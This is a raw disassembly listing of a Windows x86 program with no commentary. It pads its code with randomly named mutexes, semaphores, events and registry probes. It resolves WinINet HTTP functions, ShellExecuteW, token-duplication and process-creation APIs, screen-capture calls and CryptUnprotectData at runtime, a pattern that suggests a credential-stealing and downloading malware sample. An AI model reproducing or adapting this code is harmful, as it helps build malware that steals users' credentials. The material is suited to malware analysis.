call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.XMLq8eea15d
push 1
push edi
push edi
call esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 1
push eax
call edi
push str.SMPHR_4ypzodgu
push 1
push 0
push 0
call esi
push str.lwumuitn
push str.4kbolsau
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 1
push esi
call edi
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
test eax, eax
jne 0x40219f
push str.log:_7vm3409o
call edi
push str.WTMR_shi89ea5
push 1
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.ev_80qavzv0
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x51f
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [ebp - 0x40]
push eax
push 0x20019
push 0
push str.regdp5g6q61
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.log:_4qozrym6
call edi
push str.MTXmes20w2f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x402234
push str.log:_o3d9qtv6
call edi
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call ebx
jmp 0x402244
push str.xknragag
push str.4783z7rc
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov esi, dword [ebp - 8]
push str.HttpQueryInfoA
push esi
call dword [0x41a0d8]
push str.HttpOpenRequestW
push esi
call dword [0x41a0d8]
push str.InternetReadFileExW
push esi
mov dword [0x41a0bc], eax
call dword [0x41a0d8]
push str.InternetOpenUrlW
push esi
call dword [0x41a0d8]
push str.HttpQueryInfoW
push esi
mov dword [0x41a114], eax
call dword [0x41a0d8]
push str.InternetCloseHandle
push esi
call dword [0x41a0d8]
push str.InternetConnectW
push esi
mov dword [0x41a06c], eax
call dword [0x41a0d8]
push 0x510
push 0
mov dword [0x41a184], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.v4vlc9bt
push str.q4krgn93
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.ev_58nqskzd
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.SMPHR_j9lmdh54
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
lea eax, [ebp - 0x44]
push eax
push 0x20019
push 0
push str.reg0nwjd1p5
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x40233a
push str.log:_l0a6vv4j
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 9
pop ebx
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
push str.regairqmqpo
push 0x80000001
call esi
sub ebx, 1
jne 0x402343
lea eax, [ebp - 0xcc8]
push eax
push str.s_p6006wzy
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.log:_10ac5g0i
call edi
xor eax, eax
push eax
push 0x389
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
push str.XML0197toa6
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.MTXidlax2wh
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x4023f1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
push str.regfkumbtz6
push 0x80000001
call esi
jmp 0x4023f8
push str.log:_qv7c5s2f
call edi
mov esi, dword [ebp - 8]
push str.InternetSetOptionW
push esi
call dword [0x41a0d8]
push str.InternetOpenW
push esi
mov dword [0x41a178], eax
call dword [0x41a0d8]
push str.HttpSendRequestW
push esi
mov dword [0x41a12c], eax
call dword [0x41a0d8]
push str.InternetReadFile
push esi
mov dword [0x41a018], eax
call dword [0x41a0d8]
push str.InternetOpenUrlA
push esi
mov dword [0x41a100], eax
call dword [0x41a0d8]
mov esi, dword [ebp - 0x14]
push str.ShellExecuteW
push esi
call dword [0x41a0d8]
push str.SHGetFolderPathW
push esi
mov dword [0x41a01c], eax
call dword [0x41a0d8]
push str.SHGetSpecialFolderPathW
push esi
mov dword [0x41a198], eax
call dword [0x41a0d8]
mov esi, dword [ebp - 0x18]
push str.ConvertSidToStringSidW
push esi
mov dword [0x41a0c8], eax
call dword [0x41a0d8]
push str.OpenProcessToken
push esi
mov dword [0x41a05c], eax
call dword [0x41a0d8]
push str.SystemFunction036
push esi
mov dword [0x41a128], eax
call dword [0x41a0d8]
push str.RegEnumKeyExW
push esi
mov dword [0x41a0c4], eax
call dword [0x41a0d8]
push str.RegCloseKey
push esi
mov dword [0x41a0a8], eax
call dword [0x41a0d8]
push str.DuplicateTokenEx
push esi
mov dword [0x41a068], eax
call dword [0x41a0d8]
push str.GetUserNameW
push esi
mov dword [0x41a038], eax
call dword [0x41a0d8]
push str.RegOpenKeyExW
push esi
mov dword [0x41a180], eax
call dword [0x41a0d8]
push str.RegQueryValueExW
push esi
mov dword [0x41a0a0], eax
call dword [0x41a0d8]
push str.GetTokenInformation
push esi
mov dword [0x41a0d4], eax
call dword [0x41a0d8]
push str.CreateProcessWithTokenW
push esi
mov dword [0x41a030], eax
call dword [0x41a0d8]
mov esi, dword [ebp - 4]
push str.CharUpperW
mov dword [0x41a1a4], eax
push esi
call dword [0x41a0d8]
push str.EnumDisplayDevicesW
push esi
call dword [0x41a0d8]
push str.GetClientRect
push esi
mov dword [0x41a138], eax
call dword [0x41a0d8]
push str.GetDC
push esi
mov dword [0x41a124], eax
call dword [0x41a0d8]
push str.GetDesktopWindow
push esi
mov dword [0x41a18c], eax
call dword [0x41a0d8]
push str.GetSystemMetrics
push esi
mov dword [0x41a158], eax
call dword [0x41a0d8]
push str.ReleaseDC
push esi
mov dword [0x41a050], eax
call dword [0x41a0d8]
push str.wsprintfW
push esi
mov dword [0x41a0f4], eax
call dword [0x41a0d8]
mov esi, dword [ebp - 0xc]
push str.CryptStringToBinaryA
push esi
mov dword [0x41a0f0], eax
call dword [0x41a0d8]
push str.CryptStringToBinaryW
push esi
mov dword [0x41a040], eax
call dword [0x41a0d8]
push str.CryptBinaryToStringW
push esi
mov dword [0x41a160], eax
call dword [0x41a0d8]
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.SMPHR_6y2683h7
push 1
push 0
push 0
mov dword [0x41a024], eax
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x40261f
call ebx
push str.XMLy5q235m0
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.4vzlti4m
push str.k2zveku6
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_jejxvvnt
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call ebx
lea eax, [ebp - 0xe08]
push eax
push str.s_n1mze608
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.MTXqa8cftli
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x402698
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x4026b2
lea eax, [ebp - 0x10]
push eax
push 0x20019
push esi
push str.regzjoh9m4y
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0xcf8
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.124zevw4
push str.0dnjbp76
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
call ebx
push 6
pop esi
push str.log:_480cqy94
call edi
sub esi, 1
jne 0x4026dc
xor eax, eax
push eax
push 0x1279
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
mov eax, dword [ebp - 0xc]
push str.CryptUnprotectData
push eax
call dword [0x41a0d8]
mov dword [0x41a0b4], eax
push 3
pop eax
pop edi
pop esi
pop ebx
leave
ret